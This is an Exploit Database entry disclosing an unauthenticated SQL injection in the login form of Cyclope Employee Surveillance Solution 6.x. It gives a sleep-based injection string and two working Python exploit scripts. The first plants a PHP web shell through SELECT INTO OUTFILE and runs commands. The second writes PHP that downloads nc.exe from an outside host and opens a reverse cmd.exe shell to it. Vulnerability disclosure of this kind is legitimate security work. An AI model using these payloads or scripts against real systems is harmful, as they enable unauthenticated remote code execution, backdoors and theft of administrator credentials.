



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Cyclope Employee Surveillance Solution 6.0/6.1.0/6.2.0/6.2.1/6.3.0 - SQL Injection

**EDB-ID:**

20393

**CVE:**

**EDB Verified:** 

**Author:**

[LONEFERRET](#)

**Type:**

[WEBAPPS](#)

**Exploit:**  

**Platform:**

[WINDOWS](#)

**Date:**

2012-08-09

**Vulnerable App:**



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# Author: loneferret of Offensive Security
# Product: Cyclope Employee Surveillance Solution v6.0
# Version: 6.0
# Vendor Site: http://www.cyclope-series.com/
# Software Download: http://www.cyclope-series.com/download/index.html

# Software description:
# The employee monitoring software developed by Cyclope-Series is specially
# designed to inform
# and equip management with statistics relating to the productivity of
# staff within their organization.

# Vulnerability:
# Due to improper input sensitization, many parameters are prone to SQL
# injection.
# Most importantly, the username parameter in the application's login form.
#

# Effected versions:
# Change script accordingly. You can see the folder's name when viewing the
# source code
# from the login screen.
# 6.1.0: Default install path: C:\Program Files\Cyclope\Ni4xLjA=
# 6.2.0: Default install path: C:\Program Files\Cyclope\Ni4yLjA=
# 6.2.1: Default install path: C:\Program Files\Cyclope\Ni4yLjE=
# 6.3.0: Default install path: C:\Program Files\Cyclope\Ni4zLjA=

# PoC 1:
# MySql sleep for 5 seconds.
# No Authentication Required.
# Page: /index.php
# Form: login
# Vulnerable Parameter: username
# username: x' or sleep(5) and '1'='1
# password: whatever

# As stated, nothing is checked before passing "username" to MySQL.
# This results in MySQL sleeping for 5 seconds, and a unsuccessful
# attempt.

# PoC 2:
# Remote Code Execution
# No Authentication Required.
# Page: /index.php
# Form: login
# Vulnerable Parameter: username

# Creates a small php shell in the application's root folder.
# It also has the added bonus of writing the administrator username and
# password
# Side note:
# This assumes a default installation. Which is located in "C:\Program
# Files\Cyclope\Ni4xLjA=\"
# If you are wondering what is "Ni4xLjA=", well it's the software's version
# number in Base64 (6.1.0).
# Using Owasp Zap, you can spider the site to find the application's root
# folder if ever it changes.

----Python Script Simple Backdoor----
#!/usr/bin/python

import urllib, cookielib
import urllib2
import sys
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
print "\n[*] Cyclope Employee Surveillance Solution v6.0 Remote Code Execution"
print "[*] Vulnerability discovered by loneferret"
```

```
print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 3):
    print "[*] Usage: poc.py <RHOST> <CMD>"
    print "[*] Ex. : poc.py 127.0.0.1 ipconfig"
    exit(0)
```

```
rhost = sys.argv[1]
rcmd = sys.argv[2]
```

```
backdoor = "<?php system($_GET['exe']);?>"
```

```
prepayload = "x' or (SELECT 0x20 into outfile
'/Progra~1/Cyclope/Ni4xLjA=/cmd.php' "
prepayload += "LINES TERMINATED BY 0x%s) and '1'='1" %
backdoor.encode('hex')
```

```
act = 'auth-login'
pag = 'login'
password = 'hole'
```

```
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
post_params = urllib.urlencode({'act' : act, 'pag' : pag, 'username' :
prepayload, 'password' : password})
print "[*] Sending evil payload"
resp = opener.open("http://%s:7879/" % rhost, post_params)
print "[*] Triggering backdoor"
cmd = 'http://%s:7879/Ni4xLjA=/cmd.php' % rhost
page = urllib.urlopen(cmd)
print "[*] Executing command: %s\n" % rcmd
shell = 'http://%s:7879/Ni4xLjA=/cmd.php?exe=%s' % (rhost, rcmd)
try:
    page = urllib.urlopen(shell)
    cmd = page.read()
    print cmd
except:
    print "[-] Oups! Somthing happened"
```

```
---Python Getting Shell---
#!/usr/bin/python
```

```
import urllib, cookielib
import urllib2
import sys
```

```
print "\n[*] Cyclope Employee Surveillance Solution v6.0 Remote Code Execution"
print "[*] Vulnerability discovered by loneferret"
```

```
print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 2):
    print "[*] Usage: poc.py <RHOST>"
    exit(0)
```

```
rhost = sys.argv[1]
```

```
backdoor = '''<?php
file_put_contents("nc.exe",
file_get_contents("http://172.16.194.163/nc.exe"));
shell_exec("nc.exe 172.16.194.163 4444 -e cmd.exe");?>'''
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

prepayload = "x' or (SELECT 0x20 into outfile
'/Progra~1/Cyclope/Ni4xLjA=/cmd.php' "
prepayload += "LINES TERMINATED BY 0x%s) and '1'='1' %
backdoor.encode('hex')

act = 'auth-login'
pag = 'login'
password = 'hole'

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
post_params = urllib.urlencode({'act' : act, 'pag' : pag, 'username' :
prepayload, 'password' : password})
print "[*] Sending evil payload"
try:
    resp = opener.open("http://%s:7879/" % rhost, post_params)
    print "[*] Triggering Shell"
    shell = 'http://%s:7879/Ni4xLjA=/cmd.php' % rhost
    page = urllib.urlopen(shell)
    cmd = page.read()
except:
    print "[-] Oups! Somthing happened"

```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.